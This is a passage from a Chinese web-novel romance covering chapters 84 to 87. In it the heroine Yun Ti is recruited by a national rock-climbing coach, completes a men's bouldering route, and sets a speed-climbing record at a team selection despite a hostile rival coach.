“你还是那个洒脱自由的Wendy,这点永远不会改变。” 望着他那双湿漉漉的、炽热又虔诚的眸子,云媞眼睫一颤,兀自扬起唇角,“我今天说爱你,不是哄你的。” “那次你满是血差点死在我面前,我就已经意识到……我不能失去你。” 她倾身,鼻尖轻抵,柔声说:“我是Wendy不会变,但我也想你快乐。”- 另一边。 听说父子差点“反目成仇”后匆匆赶回家的黎冉,一进书房,就看见陆景天气定神闲坐在茶桌前。 “搞定了。”? 黎冉一头雾水,“什么搞定了?” 下一瞬,她惊慌失措道:“已经断绝父子关系了?” “什么话?”陆景天咋舌,神叨叨招呼她坐到自己身边,“你之前不是说很喜欢云媞,想让她做你女儿,但她好像无意和咱儿子结婚吗?” “略施小计,信手拈来。” 瞧他那神气的模样,黎冉明知故问:“认人做干女儿了?” “嘿,我那傻大儿还不得和我拼命!” 他眸光一暗,“不过,现在好像也差不多了……” 陆景天将刚才发生的事从实招来。 中间虽然出了点小意外,但阴差阳错的,还是达到了他想要的结果。 那个女孩表现不错,至少值得傻儿子毫无保留的痴迷。 “儿大不中留啊,老婆你是明白我的良苦用心的,对吧?”陆景天轻叹一声,试图寻求妻子安抚。 信息量较大,黎冉颅内消化不良。 忍不住剜了他一眼,“活该!” 这不纯纯犯病。 跟那剧本里小情侣好不容易互诉衷肠,结果非要跑出来横插一脚的脸谱化恶父母似的。 “好好商量不行?为什么非要伤孩子们的心?” 见老婆怪罪,陆景天倒是委屈上了,“本来没打算说重话的,但那小子满脑子只有云媞,当时我也是真气到了,一时嘴快就……” 他骤然顿住。 黎冉不像自己耳目众多,她对儿子在国外被绑的事情毫不知情,陆景天也不愿再让妻子为过去的险境忧思后怕。 “算了,以后他就会知道,爱之深则为之计深远。” 父亲似乎总是这样,爱做多此一举又一厢情愿的事情,然后期待“真相大白”时,那句深沉的“父爱无言”。 黎冉懒得吐槽。 “那你打算培养媞媞当接班人吗?”她严肃地警告,“可不能利用和忽悠小孩子。” “看她能力以及到底能坚持多久吧,若是交给自家人, 总归比之前设想的将公司委托给职业代理人稳妥。” 陆景天越想越惆怅,“哎,那傻小子怎么就没遗传到我的商业才能呢?” 刚说完,他心一惊,忙扭头讨好般亲亲妻子的柔唇,“当然,遗传到了黎大导演的艺术天赋更是非常好啊!” 黎冉嗤笑一声,佯装嫌弃地推开他的脸,“您还年轻着呢,还可以将您的大业维持个二三十年,这么急着甩手做什么?” “不年轻咯,老咯,老婆都不接受我的亲热了,看来已经沦为糟糠夫咯……” 从他这些酸言酸语中,黎冉恍惚又见到了陆景天年轻时的模样。 贫嘴无赖得很。 见妻子的眼神变得柔情似水,他霎时心领神会,搂住她的腰身缓缓压下去,“怎么办。我也不想上班了,想留出更多时间陪陪你……” “滚,”黎冉嗔笑道,“你不上班,我还要上班的。” …… 奇怪,两个势均力敌的事业狂,怎么就生出了一个恋爱脑呢。 不过此时此刻,陆景天竟异常羡慕儿子,真是傻人有傻福。 前半辈子有父母养,后半辈子有老婆养。 他加重手上的动作,泄愤般咬住黎冉的耳垂,但也只敢轻轻碾磨。 嫉妒。 要不还是继续当个恶父亲/恶公公,捉弄下无辜小朋友吧—— 作者有话说:黎少感动得眼泪汪汪吱哇乱叫:我失去的只是万亿家产,媞媞失去的可是自由啊! (反正这家产给谁不是给,给我们媞姐最合适。黎小少爷收拾收拾,准备当最受宠的赘婿吧![眼镜] 第84章 第二天。 云媞和黎冉早早地一同去了影视城。 陆景天出门稍晚些,与黎星言撞个正着。 到底是前夜吵过架,两人表情都有些微妙和尴尬。 僵持数秒,黎星言先松口,不情不愿喊了声:“爸,早上好。” 媞媞叮嘱过自己,不要和父母闹别扭,不要生坏爹的气。 他要好好听老婆的话。 陆景天对此毫不知情,只觉得好大儿还是孝顺贴心的。 他倍感欣慰地轻咳一声,“嗯。” 踏出厅门前,又拿腔拿调地扭头叮嘱道:“学业万不能荒废,既然喜欢,就不要当做儿戏。记住,这是你自己选择的路。” 他走后许久,黎星言才后知后觉。 鼻尖一酸,忍不住嘟囔道:什么啊,今天又变得这么正常,一定是昨晚被老妈教训了吧! 不过,即使陆景天不说,黎星言也不会拿自己的前程开玩笑。 探班云媞时,他依然在上网课、跟进导师项目以及优化毕业作品。 也不嫌片场吵闹,毕竟只需看一眼云媞,他就能横扫疲惫、满血复活。 许彦青是懂得利用资源的人精,有时见黎星言得空,便适时打着让杰出小辈锻炼的旗号,空手套白狼。 但正是在这个时候,他才惊奇发觉,这小子不愧是黎冉的儿子。 在片场调度、光影构图与后期制作等理念实践上,黎星言有着超乎同行的天赋和独树一帜的风格。 自愧不如啊。 许彦青慨叹万千,原来并非不学无术的小白脸二世祖,行吧,还算勉强配得上媞媞。 …… 中午饭点。 片场来了位不速之客。 一位自称是国家攀岩队教练的女子找到云媞。 实际上,《生存者游戏》在国内爆火,云媞徒手攀爬巨树的片段在网络疯传。 那时,顾成玉就注意到这个传奇女孩。 尽管仍有很多网友和懂王专家们,都一致认为是综艺造假、联合炒作,但冥冥之中有种强烈的念头,驱使她找上云媞。 不过出师不利,顾成玉给云媞发出的邀约短信石沉大海。 几日前她亲自寻到片场时,云媞也已请假出国,几次都阴差阳错扑了个空。 说起这些时,女人没有半分抱怨或指摘,反而隐隐在替自己解释“迟来”的缘由。 她穿着朴实无华的黑色棉服,说起攀岩女子队当下的困境以及自己对这项事业的热忱时,滔滔不绝,笑意嫣然,细长的眼睛里也闪烁微光。 这是位诚恳的国家级知名教练,身披无上荣誉,却能将自身姿态放这么低,并不容易。 但对于完全不知“国家集体荣誉感”为何物、也不清楚国家级教练在国人心中分量有多重的云媞而言,她只会无动于衷地表示—— “我为什么要参加?” 顾成玉一下被问蒙了。 在世人眼里,能被国家队看中、为国争光,似乎是祖坟冒青烟的幸事,更足以证明个人能力突出。 但很显然,云媞并不需要别人的认可。 你队曾经有多辉煌与我何干,你求贤若渴又关我什么事,即使夺冠,一块奖牌又能值多少钱。 望着恢宏磅礴的片场布景,耳熟能详的知名导演和明星,来来往往的跟组助理,还有那个对云媞鞍前马后、唯命是从的黎少…… 再看看一脸淡然的云媞。 顾成玉兀自缩回沾满灰尘的运动鞋,突然感到一丝局促。 “媞媞,还没好吗?” 黎星言从保姆车后座探出脑袋,朝顾成玉礼貌性地点头问好。 随后捧起香气扑鼻的餐盒,引诱般伸到窗外,“你最喜欢的陈大厨做的,再不吃都要凉咯。” 热气腾腾,似乎驱散了些寒意。 顾成玉这才意识到,她自说自话了这么久。 而面前这个表情淡漠的女孩,虽然对加入国家队并不感兴趣,却也没有强硬打断她。 “啊抱歉,耽误了你吃饭的时间,”顾成玉一时羞赧,匆匆说,“攀岩的事儿,可以考虑一下,期待回复……” 说着,她指向自己的手机,厚着脸皮佯装毫不知情地笑道:“我之前联系过你,可能手机会将陌生号码自动识别成骚扰短信,所以媞媞没有收到?要不,直接加个好友吧。” 就这样,云媞莫名其妙又多了一个微信好友。 本以为这件事会到此为止。 没曾想,顾成玉竟并未放弃招拢云媞的念头,反而一连几天拎着她爱吃爱喝的东西前来探班。 她转变了劝说思路,不再提那些冠冕堂皇的荣誉及名头,只是出于好友邀请般,约云媞去看攀岩公开赛。 “国际赛事就在本市!哎呀来都来了,不看白不看嘛,正好我有两张票……” 几天下来,云媞耳朵快被念出茧了。 人类都很有毅力,不到目的不罢休。真的很难缠。 看出云媞面上有所松动,黎星言决定顺水推舟,径直问顾成玉:“顾教练,只有两张票吗?” 顾成玉愣怔数秒,霎时展开笑颜,“两张票是给黎少您和媞媞的,我刷脸就成。” “行,”黎星言扭头,朝云媞眨了眨眼,撒娇般牵住她的手,“其实我有点感兴趣,媞媞陪我去看看吧,求你了求你了……” “你连树都不会爬……好吧。” 云媞败下阵来,实在是见不得他那双可怜巴巴的狗狗眼。 看着这对相处模式完全调转的小情侣,顾成玉目瞪口呆。 果然,每位叱咤风云的女强人背后,都至少有一个贴心可人的贤夫啊。 黎少,以后云媞若是能问鼎世界,您绝对是功不可没的“第一先生”! * 两日后 ,分站赛。 岩馆举行的是攀石(抱石)比赛。 攀岩比赛共分为难度攀岩、速度攀岩和攀石(抱石)三个项目。 某种程度上来说,也对应着奥运会“更高更快更强”的口号。 难度攀岩是15米以上岩壁先锋攀登,限时6分钟内挑战超长线路,按最高到达点计分,依赖耐力与精准动作控制。 速度攀岩是在15米标准化垂直赛道,比拼极限速度,以电子计时决胜负,运动员需按固定线路快速触顶。 攀石则是在4-5米矮墙无绳攀登,4分钟内用最少次数完成指定线路,考验动态跳跃的爆发力与复杂支点处理技巧。 其中攀石项目因极具观赏性,深受观众喜爱,被称为“岩壁上的芭蕾”。 即使是对攀岩一窍不通的门外汉,也能从中看个热闹。 “现场的观众朋友们,欢迎来到智力岩壁的魔方世界!您正在观看的是国际攀联世界杯分站赛首场赛事……” 随着一段激昂的背景音效,比赛正式拉开帷幕。 这是一场有预谋的观赛。 顾成玉反复研究过云媞在雨林以及稀树草原爬树的片段,如果视频属实,那她的确是一个天赋异禀的攀岩天才。 不畏高不惧难,陷入困境时心态平和。四肢强劲有力,手指力量更是惊人,哪哪儿都很完美。 问题是,攀岩不是爬树,只比谁直挺挺地爬得高爬得快。 顾成玉敢确信,速度攀岩,云媞不在话下。但攀石和难度攀岩都极具技巧性,像解数学题一样,需要一定的头脑。 这或许会成为激起云媞斗志和征服欲的关键突破点。 “……下面一起来看俄罗斯选手伊万,作为上届奥运会攀石项目男子组冠军,他在近年的锦标赛及世界杯积分系列赛中,表现都十分稳定。” “唉快看!伊万一上来就放弃了常规的静态控制,直接利用摆荡惯性,抓握距离身体一米开外的双色点……” 现场节奏轻快的助势DJ,将观众热情燃到高点。 或抽气或深呼吸,大家似乎都在替场上的选手提心吊胆。 不知不觉,云媞也被这种紧张氛围所感染,沉浸到比赛中。 不对,不该这样出脚,手点位置也错了…… 紧接着,像是听到了云媞的吐槽。 伊万耗尽手部力气,从平滑的岩面倏地掉落。 第一次尝试失败了。 云媞蹙眉看着。 这时,所有的嘈杂背景音乐、观众的助威呐喊、解说员的激情口播都不见了。 选手也骤然消失。 整个场馆变得格外安静。 这是只剩她一个人的考场。 岩壁变成一面空白试卷,岩点成为一道道待解的考题,而她的身体变成了答题用的笔。 考试进入倒计时。 每一次挥笔,都是在排除错误的答案,直到在坚持不懈的尝试中寻找到正确解法,才能拿下得分点。 划掉、擦除、重写、再划掉…… 铃响了。 伊万交了白卷。 品学兼优的年纪第一落下神坛,作为监考员,观众们无不为之惋惜。 云媞低头,沉默地看向自己的试卷。 她写的,会是正确答案吗? …… 比赛结束。 散场时,众人仍对这条惊险刺激的线路咋舌称奇。 “不愧是国际定线员炫技之作啊……” “要我说,还得是外国人有先天基因优势,手长脚长,体力强耐力好,就算没成功,好歹也能摸到最上面几个岩点,唉!” …… 场馆渐空。 云媞依旧坐在最前排的观赛席。 她没说要走,黎星言自然也不会动。 况且,他看得出,媞猫猫对眼前这个大型猫爬架似乎很感兴趣。 “要不要去试试?”黎星言鼓励道。 云媞如梦初醒。 顾成玉见状,笑着侧身弯腰,坐了个“请”的动作,“来吧,展示。” 脱掉厚重的衣物,换上顾成玉提前准备好的攀岩鞋,云媞没有热身动作,直接零帧起手。 就这?对我豹豹来说,不在话…… “啪!” 狡猾的岩面,竟让云媞一时脚滑。 一秒就摔在了软垫上。 结束得太突然了。 扬起懵懵的脑袋,云媞满脸震惊。 她竟然输了?!还这么快!!!—— 作者有话说:好像一脸傲娇、想展示自己卓越的跳跃能力的小猫,正要从一个高柜跳到另一个高柜,结果起跳0厘米,就直接啪叽摔了下去…… 最后一条线啦!大概还有五万多字完结,老婆们出来说说话吧呜呜呜X﹏X这本好凉好凉感觉自己好像又写毁了[化了][化了] 第85章 黎星言倏地弹起身,双手下意识前伸。 本该是惊慌心疼居上,但云媞一脸懵的表情实在太可爱了,他没忍住笑出声。 “不得了,还是第一次见神通广大的媞媞大人吃瘪啊!这岩壁可太坏了,我这就找人卸了它!” 对面一记眼刀飞来,嘴欠的黎小少爷瞬间抬手,在嘴边做出拉拉链的动作。 顾成玉忍俊不禁,跳上台后递给云媞一袋镁粉,“刚上手可以擦下,保持手心干燥。” 随后,她指着奇形怪状的岩块,教云媞如何分辨捏握点、指孔点、侧拉点、脚点等岩点。 “虽然表面看起来平滑规整,无处上手下脚,但实际每个岩点各有可利用的力,每个岩块都别有洞天。” “抓住这个洞,”顾成玉两指扣住孔抓,利用强大的指力摆动上半身,调整重心,配合脚点形成三点平衡,仰头望向头顶的结束点,“你才能看到天。” 说罢,她跳下来,“再试试吧!” 一朝被蛇咬,十年怕井绳。这句话在云媞那儿是不存在的。 她沉脸,拍掉掌心多余的镁粉。 退后几步,将这面岩壁完整得尽收眼底。 那边,顾成玉还在指导她如何发力,如何在岩面上调整肢体…… 这边,云媞早已充耳不闻。 她径直起跳,右腿跟腱锁定月牙点,左手反提发力突破仰角。 线路顺利开攀,作答开始了。 顾成玉和黎星言同时噤声,屏息驻足。 在令众多国际运动员望而却步的难点处,云媞单手用指力锁捏小扣点,整个身体悬空摆荡。 她仰头观察了数秒,但没有后续动作。 原本对其抱有很大期望的顾成玉,内心不禁摇头。 不行的,单手悬挂时间太久。 抓点过紧,手臂处于充血僵硬状态,对体力消耗极大,下一步再往上攀时,一定会前功尽弃。 到底还是刚接触攀岩的新手,不懂得技巧,容易陷入传统思维定式,倒也是正常…… 顾成玉内心话还未说完。 只见云媞一反常态。 甩臂!抓点!指尖擦着岩壁划过…… 抓住了! 她迅速调整手指锁捏姿势,同时右脚尖精准踩住拇指大的凸起。 教科书级的挂脚技术! 黎星言愣怔一瞬,紧接着手都要拍烂了。 而此刻,顾成玉连表情都不知该如何摆放。 正所谓外行看热闹,内行看门道。 只有她知道,在这种倒三角屋檐区做动态跳跃,需要克服远超体重的离心力。 恐怖如斯的指力和臂力! 当然,这小姑娘对于脚点把控的敏感度,似乎也远超大多职业运动员。 突破难点后,云媞并未力竭,反而愈战愈勇。 仿佛是天生的应战型选手。 亢奋过后,她依然能稳住心态,不骄不躁。 调整呼吸,放缓节奏。 随着最后一次反提发力,云媞卷腹,脊背如弓弦紧绷。 拍铃,亮灯。 完攀! 包揽大小奖项的专业运动员都为之犯难的路线,竟被一个尚未入门的小姑娘云淡风轻拿下。 “这对吗!这给我干哪儿来了?!” 顾成玉内心OS被某 人抢先一步喊了出来。 “真不愧是我媞宝宝啊!” 黎星言两眼发光跳上台,抱起云媞的右手臂,脸贴在臂膀上蹭来蹭去,“以后站上了最高领奖台,记得一定要提我这个忠实粉丝的大名,好吗?!” “好。”云媞轻抬另一只手,笑着拍拍他的头顶。 肌肉线条紧实的小麦色上臂,和那张莹润如玉的精致小白脸,紧贴在一起时,莫名有种……嗯。 顾成玉老脸一红。 一时分不清谁吃得更好了。 不得不相信,说一千道一万,都不如亲身体验。 作为从小到大的“攀岩”冠军,花豹媞从未觉得挂墙上树有何特殊之处,更不明白人类为什么要兴师动众,举办这项运动竞赛。 但现在看来,它的确有其独特魅力所在。 每次攀岩,都是崭新的路线,全然新奇的体验。 在一次次破题、解构与重构中,寻找向上的路径,是极具挑战性的趣事。 一想到还会有与今日截然不同的难题出现,云媞眼里不禁闪起势在必得的光芒。 她毫不含蓄地追问顾成玉,“什么时候开始选拔赛?” …… “这就是你说的那位攀岩天才吗?” 空荡荡的场馆,零星几个工作人员在打扫卫生。 岩壁旁走出一个男人,他叼着烟坐到看台首排,“她完攀了。” 不是疑问,是陈述。 他刚才就在导播室看得一清二楚。 这条线是他与几名国际定线员团队共同设计的,能最终拍板,一定是有成功完攀先例。 但定线员们在试攀测试中,有充分思考和尝试的时间,对比之下,运动员们限时完攀的难度要高上许多。 男人猛吸一口烟,将烟蒂扔到地上,踩灭,“太不可思议了,她怎么可能做到?” “怎么?瞧不起女孩子?没见过天才?”顾成玉与有荣焉地哼了一声,“你不是亲眼目睹了吗?还讲这些有的没的……” 男人弓腰拾起烟头的动作一僵,随后扭头望对方,满脸麻木地喊道:“但她攀的是男子组线路啊!” 顾成玉猝然看向岩壁。 卧槽!完全忘了这茬! 因为先天的身高体重差异,男远动员通常在绝对力量、爆发力上占优,而女运动员在柔韧性和耐力上更具优势。 这种性别差异在攀岩定线中体现为,男子组线路岩点之间的距离对女子来说可能更远、更吃力,因而难度系数也更高。 嘶…… 顾成玉倒吸一口凉气。 云媞!你到底是什么怪物啊!- 年底将至,耗时近五个月的《无渡》拍摄即将收尾。 攀岩国家队公开选拔赛当日,云媞正好没有通告。 参赛之前,她甚至还抽空先去了一趟剧组。 想来是明青阳那个渣哥又发了什么神经,明娇娇最近心情一直不太好。 安抚一番后,云媞独自前往选拔赛现场。 顾成玉早已等候多时,见她来,压在心上的石头瞬间落了一大半。 “真怕你临时撂挑子不干,”顾成玉呼出一口气,末了还使出一招激将法,“你都不知道,我那死对头一直泼我冷水,说你绝对不会来,还说我失心疯看走眼,可气人了!” “谁说的?”云媞偏头,瞥向她。 颇有一种现在就能当场把人拖出来,打不死他的大姐大气势。 只可惜,国家队的深水和硝烟,顾成玉还暂时不便与云媞诉说。 打马虎眼糊弄过去后,她开始叮嘱云媞有关选拔赛的注意事项。 攀岩国家队选拔以专项为主,速度攀岩、难度攀岩和攀石常规三项中,选手们可以选择自己最拿手的比拼,提升入选国家队的几率。 同时还需通过六项体能测试,包括垂直纵跳、30米冲刺跑、引体向上等,每项满分10分,达标线42分。 “这些我们都提前测试过,别担心,你肯定没问题,”顾成玉轻拍云媞的肩膀,表示对她能力的绝对信任。 但今天是速度攀岩专项选拔,老实说,顾成玉还没见过她实战的场景。 实在是因为云媞最近排期太满,两人总凑不出一致的时间。 不清楚实际水平,顾成玉也不能盲目自信,只叫她放宽心,“不行咱就当试试水,过几天还会有攀石和难度攀岩的专项选拔赛……” 话音未落,一道低沉的声音由远及近。 “成玉,还真请来了大网红啊。” 一个身着蓝色教练服的中年男人徐徐走来,脸上虽挂着温和的笑容,但语气中满是戏谑。 似乎并未打算从顾成玉口中听到答复,他扭头径直问云媞:“小姑娘,你这个体量的网红应该很赚钱吧,怎么被蒙骗到这里受苦了。” 云媞睨了他一眼,懒得搭理。 随着顾成玉挪开身子,正要呛声回去。 周围突然一阵惊呼。 “我的妈啊还真是媞姐!刚才那个女的一直挡着,我还以为自己眼花了都不敢确认……” “什么那个女的,人那是攀岩女子队教练,之前奥运会还拿过全能赛亚军!” “啥意思?她看中了云媞,亲自出面邀请她进国家队吗?那名额岂不是内定了。” “猪脑子吗你是,内定还要参加公开选拔赛讨死啊!” “哎呀不管了呀啦嗦!等下我就去找媞姐合照要签名啊啊啊啊啊这估计是我离偶像最近的一次了!” “难怪前几天有网友说拍到媞姐和黎小少爷一起去看攀岩赛,当时就有人猜媞姐可能被国家队瞧上了,果然无风不起浪……” “诶嘿太好了,正好今天可以看看她是不是真有网上说的那么神乎其神!” …… 越来越多选手聚集到附近,来自四面八方的审视,无形中变成一种不可言说的压力。 怕影响云媞备战,顾成玉强忍火气。 将男人拉到一侧,压低声音警告道:“吕观,你还能不能要点脸,互相保留点同事间的体面好吗?” 顾成玉和吕观的纷争由来已久。 他俩是同届入选国家队的种子选手,年少时还曾对彼此有过情窦初开的情缘。 当年顾成玉是速度攀岩和攀石的夺冠热门,吕观在大小赛事中的表现却一直高不成低不就。 顾成玉便经常陪吕观拉练、毫无保留分享自己的攀岩技巧。 结果,那年顾成玉因伤惜败仅获银牌,吕观超常发挥站上最高领奖台,一战成名。 后来,吕观就像变了个人似的,或者说,露出了原本的面目。 因对方长期的PUA和刻意打压,顾成玉很长一段时间都陷入自我怀疑的阴影中。 成绩再难起色,顾成玉黯然退役。 原本打算放弃这行,但她实在难以割舍,休整一段时间后突然想通了,重振旗鼓。 凭借丰富经验,她一步步晋升为国家队男子组教练,并带领队伍屡获佳绩,甚至在洲际赛和世锦赛中,好几名选手刷新自身历史最佳成绩,打破国家记录。 一切都在向好时,吕观又像鬼一样缠上了她。 他直接空降男子组教练席位,并强势将顾成玉挤到了日渐式微、不受重视的女子组。 「自己都只是亚军,又怎么能带出冠军呢?」 吕观近乎诅咒般的恶言,犹在耳边回响。 顾成玉却从愤怒中渐渐抽离出来,她冷眼看着面前的男人,斩钉截铁地说:“云媞一定会得冠军。” 吕观挑眉回望,似乎在问,何以笃定? “因为她是天才。” 顾成玉一字一句道:“是你怎么使那些小伎俩,都无法击溃的天才。” 第86章 听到顾成玉的话,吕观面目扭曲一瞬。 很快,他轻嗤道:“是吗?” 听说她三顾茅庐,亲自邀请云媞加入国家队时,吕观也产生过一刹那危机感,还特地连夜翻出云媞“成神”的经典视频做了研究。 尽管网上将这个小姑娘吹得多智而近妖,但他依旧嗤之以鼻。 不过就是网红 作秀博人眼球罢了,还真有脑残相信。 顾成玉竟也听风就是雨,自降身价去追捧这种不入流的戏子。 “别费尽心思请来一个笑话,害得自己颜面扫地。” “管好你自己吧。” 顾成玉斜眼,由衷关切道:“奥运冠军都带不出一个像样的学生,反而越教越差,岂不是更颜面无存吗?” 虽然她已不带男队,但那些仿佛被冻结、龟裂的成绩,实在是让人想不留意都难。 戳到痛点,吕观脸色变得异常精彩,还没找到一招毙命的话怼回去。 只女人沉声开口,语气中带着无边的落寞。 “别把那些正当年华、天赋尚佳的选手们,作为你博弈斗法的工具了,人生能有几个四年?” 但显然,顾成玉的话落在吕观耳中,只是一句挑衅和挖苦。 他暗自愤然入座。 行,他倒要看看,这个云媞究竟有何能耐,能让一向自视清高又天赋异禀的顾成玉,以“天才”二字相称。 …… 30米冲刺跑,10分。 垂直纵跳,10分。 引体向上,10分。 卧拉,10分。 深蹲,10分。 3000米跑,10分。 云媞的六项体能测试成绩传出来时,吕观脸都黑了。 全部满分! “这……怎么可能?”吕观忍不住询问,“确定成绩录入无误?评分准确吗?” 言下之意,有无内鬼? 云媞那么火,保不准有裁判员是她的粉丝,有意放水。 助理听罢,人也麻了,“吕教练,现在都是机器测评……” 顾成玉轻笑一声,“吕教练刚来,业务不熟,记忆还停留在十年前手动测分的阶段呢。” “体能好而已,又不代表攀岩能力强,”吕观暗自咬牙,只能暂且忍气吞声,“女队现在都如此骄傲自满了吗?” 两人之间火药味太重。 助理默默闭嘴,缩到一旁。 看来,男女队教练不合的传言不虚啊……但是,别殃及我媞姐就好!!! 速度攀岩选拔赛开始。 选手们将进行两两比拼。 每人各有4次攀爬机会,最终成绩取两次最好成绩相加,总时长越短排名越高。 在场除了云媞是毫不知底细的新人以外,其他选手大多在国内各攀岩赛事或俱乐部中崭露过头角。 更巧的是,与云媞较量的女选手陈祉希,正是去年全国青少年攀岩公开赛速度攀岩的冠军得主,当时因年纪不达标而未能入选国家队。 “云媞姐姐!虽然你是我的偶像,但我也不会让你的哦。” 刚满十七岁的小姑娘意气风发,边装安全绳锁扣边抬头笑着“放狠话”。 “哦,”云媞淡淡回道,“输了可别哭鼻子。” “我才不会!” 话音未落,小姑娘又赶忙补充一句,“不会输!” 防护措施检查无误。 各就各位。 陈祉希深呼一口气,右脚踏墙,双手握住最近的岩块,做出三点触岩起势。 云媞看了眼,模仿她做出同样的姿势。 一举一动淡定自若,甚至有种慢半拍的松散感。 在场所有人,包括陈祉希,都被她唬得瞬间打起精神。 竟然如此悠闲,想必一定是不容忽视的劲敌吧! 然而坐在裁判席的顾成玉微蹙眉头,摁灭手机屏幕,隐隐有种不祥的预感。 “Ready!” 一声提示音后,电子铃响起。 滴、滴、滴! 陈祉希飞速起攀,窜天猴似的几秒登顶,拍铃。 电子显示屏亮起绿灯:6′98″。 这绝对是能入选国家队的优秀成绩。 再看另一边的云媞…… 云媞压根没动! 全场一片哗然。 吕观笑了,侧目讥讽:“这就是你千辛万苦请过来的,天才?” 这时,顾成玉手机震动几下。 【顾成玉】云媞前几天到底有没有去岩馆测试速攀? 【顾成玉】赶紧说话,别装死! 【老张】没有啊,我还纳闷呢,怎么一直没人来。 【老张】不是你带她去专业场馆训练了吗? 察觉到身旁某男意图窥屏,顾成玉手一抖,强装镇静地反扣手机屏幕。 云媞没有如约去岩馆测试。 她压根不知道速度攀岩的规则! 所以她刚才是在模仿陈祉希的起攀动作,现在更不知该如何往上攀! “或许真是天才,但……”吕观笑意更深,意有所指,“天才都是刺头,不好管啊,你说对吧顾教练?” 顾成玉冷哼,“皇帝不急太监急。” “你!”吕观气急,“好心当作驴肝肺。” “好心怎么会被当作驴肝肺呢,除非你本来就是……” 嘴上倒是不饶人,实际上,顾成玉心里不可避免地发愁。 她倒不怕云媞进不了国家队,即使今天落选,后几日的专项选拔赛一定也能如愿。 她只担心云媞今天输得太惨,被有心人发到网上,落得一番“空有其名”或“态度不端”的骂名,被那些舆论压力影响后续心态。 算了,走一步看一步吧。 第二轮测试开始。 这次陈祉希还在暗自困惑时,云媞已先她一步做出预备动作。 这……媞姐到底会不会爬啊?为什么刚才在下面一动不动。 盯了她数秒,陈祉希忍不住好心提醒道:“三声铃响后再爬,你知道的吧?” 云媞“嗯”了一声,“现在知道了。” 陈祉希瞳孔地震,正要说什么。 提示音已响。 “Ready!” 滴。 滴。 云媞耳尖微动,滴滴的电子音渐渐重叠。 在第三声提示响起之前,身体比声音的反应速度更快。 已经窜出一米,听到周围的哄笑,云媞动作一顿,顺着保护绳索滑下来。 她抢跑了。 “第一次不动,第二次抢跑,已经失去了两次测试机会咯。” 吕观这下是真发自内心地笑了,有一种看到“前往猛兽出没”的告示牌,警戒半天,结果发现出来的是一只茶杯犬的释然。 故弄玄虚,贻笑大方。 “最后两次,她还能产生什么笑料?倒还挺有趣的。” 在顾成玉开口之前,吕观竖起食指提醒道:“抢跑了我可不会重给她一次机会。” 事实上,国际攀联(IFSC)允许抢跑后继续比赛,旨在减少偶然失误对选手的影响,同时鼓励运动员尝试极限速度。 但…… “是云媞自己放弃继续往上爬,就不能怪我没给她机会了。” 吕观双手枕到脑后,一副好整以暇的模样。 顾成玉没有搭理对方,专心看向赛台。 她需要记下云媞在哪些板块有所欠缺,届时更便于专项训练。 若实在不行,大不了放弃速攀这个项目。 与场上的爆冷相比,观赛席反而更显焦灼。 有人趁机嘲笑云媞综艺里的超神表现都是联合炒作,“看,我早就说了吧,都是假的!哪有女的那么厉害,搞得像无所不能似的。” “笑死我了,现在就把这比赛视频发网上,和云媞的脑残粉对线!” “没用啦,斗不过脑残粉的,他们只会说是姐姐不擅长攀岩,不懂得规则,而不是空有虚名……” 也有云媞的不少忠实粉丝当场回怼,联合起来大喊“闭嘴”。 一边狂嘘 ,一边狂骂。 两方水火不容,甚至有人对扔塑料瓶、直接干起架来。 场下热闹非凡,场上的云媞依旧淡然。 面上不显山不露水,谁也摸不准她到底在想什么。 陈祉希突然觉得自己的偶像好可怜,被骗到不熟悉的领域出丑,说不定未来口碑都崩坏了。 怀着同情的心情,她心想:下把要不稍微放点水吧,别让她输得太难看了。 云媞听不到小女孩的内心话,也屏蔽掉外界的置喙。 她在思考怎么才能避免抢跑。 她的听觉本就异于常人,甚至能在音节完整发出之前就捕捉到那丝气声。 豹豹懒散更不服管束,未经专业训练,根本无法形成对提示铃的精准把控。 要不…… 云媞偏头,望向旁边的小姑娘。 察觉到偶像的目光,陈祉希脸颊发烫,打气般手握成拳,小声道:“加油!” “Ready!” 云媞垂眸,用余光紧盯身边人。 滴。 滴。 滴。 陈祉希反应迅速,当即发力。 云媞又慢了半拍。 看来是前两次失利,已经主动放弃了机…… 卧槽! 什么东西像鸡一样飞出去了! 在场所有人都以为云媞已然落败弃权,谁知她竟在陈祉希提前攀出数米的情况下,奋起直追。 仿佛装了吸盘一样,云媞牢牢攀附在垂直岩壁,左右脚精准踩踏岩点,稳扎稳打如履平地。 赶上了! 腾身发力,四点动态交替上升。 反超! 两秒不到的时间,局势瞬间扭转。 现在来到了六秒区,速度攀岩的圣域。 云媞已经登顶,只差一个拍铃动作! 场上所有人屏住呼吸,等待见证奇迹时刻。 只见她抬腕,伸掌,“啪!” 电子计时屏上面的红色数字依旧在飞速跳转。 没拍上?! 转瞬间,陈祉希跟了上来。 云媞倏地仰身,冲顶。 两人几乎同时拍铃。 时间暂停! 6′75″。 6′92″。 顾成玉腾地站起,意识到不妥,又轻咳一声,佯装镇定地坐下了。 云媞比“天才少女”陈祉希还快! 起步慢,拍错铃,竟然还能险胜。 现场所有人都开始重新评估起“天才”二字的含金量。 谁都心知肚明,在攀岩这项运动中,凭绝对实力说话,运气发挥的作用微乎其微。 而云媞,有这个实力。 两个女孩卸去全身力气,在保护绳的拉力下,一前一后缓缓滑坠到地面。 吕观默不作声看着,表情像吃了屎一样。 第四轮测试开启。 也是最后一轮。 云媞前两次成绩空白,所以,这将成为判定她能否入选国家队的生死定局。 经过前三次的试错和摸索,最后一局,究竟会是一锤定音还是狗尾续貂…… 众人皆在期待。 “Ready!” 滴。 滴。 滴! 没有抢拍,没有意外。 云媞动态起步如猎豹扑食,三点触岩法则在她脚下化作闪电的轨迹。 十五米垂直赛道,正在见证人类对抗重力的终极形态。 最后一击,如手术刀般,精准刺向终点感应器。 5′21″! 新的世界纪录在镁粉飞扬中诞生! 第87章 场馆死寂一般。 几秒后,全场沸腾。 欢呼声响彻云霄,几乎要掀翻了顶。 这……这怎么可能!这不可能! 吕观瞠目结舌,当即招来主裁判员要求核验成绩。 结果可想而知,并无异议。 吕观瞬间脸都绿了。 担心自己在镜头之下挂脸会引人生疑,他压住情绪,找借口一声不吭地离场。 而另一边,顾成玉早已眉开眼笑跑没了影。 “所以,前两次是你故意的吗!” 下台之际,陈祉希忿忿不平地拦住云媞,“故意装不会,是为了放松我的警惕吧?你明明那么厉害!” 叽里咕噜不知道在说啥,但最后一句,云媞倒是听懂了。 她一边搓掉手上残留的镁粉,一边淡定地说:“谢谢。”? 